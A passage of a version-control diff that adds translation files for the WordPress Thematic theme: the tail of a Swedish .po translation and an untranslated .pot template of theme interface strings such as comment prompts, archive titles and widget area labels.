attributes:" +msgstr "Du kan använda dessa HTML-taggar och attribut:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:120 +msgid "Post Comment" +msgstr "Lämna kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Sidor:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Sök i resultaten efter:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Inga träffar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Tyvärr, men ingenting matchar ditt sökkriterie. Försök med en annan söksträng." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:6 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:10 +msgid "Search" +msgstr "Sök" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:16 +msgid "Pages" +msgstr "Sidor" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:23 +msgid "Categories" +msgstr "Kategorier" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:31 +msgid "Archives" +msgstr "Arkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:50 +msgid "RSS Feeds" +msgstr "RSS-flöden" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:390 +msgid "Posts RSS feed" +msgstr "RSS-flöde (inlägg)" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +msgid "All posts" +msgstr "Alla inlägg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:408 +msgid "Comments RSS feed" +msgstr "RSS-flöde (kommentarer)" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +msgid "All comments" +msgstr "Alla kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:58 +msgid "Meta" +msgstr "Meta" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/tag.php:13 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Tag-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Skrivet %1$s klockan %2$s | Permalink" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tDin kommentar väntar pÃ¥ att bli godkänd.\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Svar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Logga in för att svara." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Av %1$s on %2$s at %3$s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tDin trackback väntar pÃ¥ att bli godkänd.\\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Det finns inget utdrag för detta är ett skyddat inlägg." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Skippa navigation, vidare till innehåll" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Vidare till innehåll" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:211 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:497 +msgid "Not Found" +msgstr "Inte hittat" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:489 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:544 +msgid "Edit post" +msgstr "Redigera inlägg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:502 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid "Permalink to " +msgstr "Permalink till " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:511 +msgid "By " +msgstr "Av " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:513 +msgid "View all posts by " +msgstr "Se alla inlägg av" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:516 +msgid "Published: " +msgstr "Publicerad: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:551 +msgid "This entry was posted in " +msgstr "Detta inlägg är publicerat i " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:554 +msgid "Also posted in " +msgstr "Också publicerat i" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:557 +msgid "Posted in " +msgstr "Publicerat i " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:564 +msgid " and tagged" +msgstr " och taggat" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:567 +msgid " Also tagged " +msgstr " Också taggat " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:569 +msgid "Tagged" +msgstr "Taggat" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:578 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:581 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:584 +msgid "Comment on " +msgstr "Kommenterat på" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:579 +msgid " Comments" +msgstr " Kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:582 +msgid " Comment" +msgstr " Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:585 +msgid "Leave a comment" +msgstr "Lämna en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:588 +msgid "Comments closed" +msgstr "Stängt för kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid ". Bookmark the " +msgstr ". Bokmärk " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:598 +msgid "permalink" +msgstr "permalink" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:600 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "Post a comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:601 +msgid " or leave a trackback: " +msgstr " eller lämna en trackback: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL for your post" +msgstr "Trackback URL för ditt inlägg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:604 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Stängt för kommentarer, men du kan lämna trackback:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:607 +msgid " Trackbacks are closed, but you can " +msgstr "Stängt för trackbacks, men du kan" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "post a comment" +msgstr "lämna en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:610 +msgid " Both comments and trackbacks are currently closed." +msgstr " Stängt för kommentarer och trackbacks." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Logga in" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Logga ut" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Index Insert Position" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Det widgetbaserade Index kommer följa efter detta antal inlägg." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Information pÃ¥ Författarsidan" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Visa ett mikroformaterat vCard — med författarens avatar, biografi och epost — på författarsidan." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Text i Sidfot" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Du kan använda följande kortkoder i sidfotens text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Powered by [wp-link]. Built on the [theme-link]." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "inställningar sparade." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "inställningar återställda." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "widgets återställda." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Spara ändringar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "Återställ" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "Återställ Widgets" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "För mer information om detta tema, besök ThemeShaper. Vänligen besök ThemeShaper-forumet om du har några frågor om Thematic." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:245 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "RSS-länkar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Titel:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/thematic.mo Binary file web/wp-content/themes/thematic/library/languages/thematic.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/thematic.pot --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/thematic.pot Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,498 @@ +msgid "" +msgstr "" +"Project-Id-Version: Thematic\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: c:\\xampp\\htdocs\\development\\wp-content\\themes\\thematic\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" 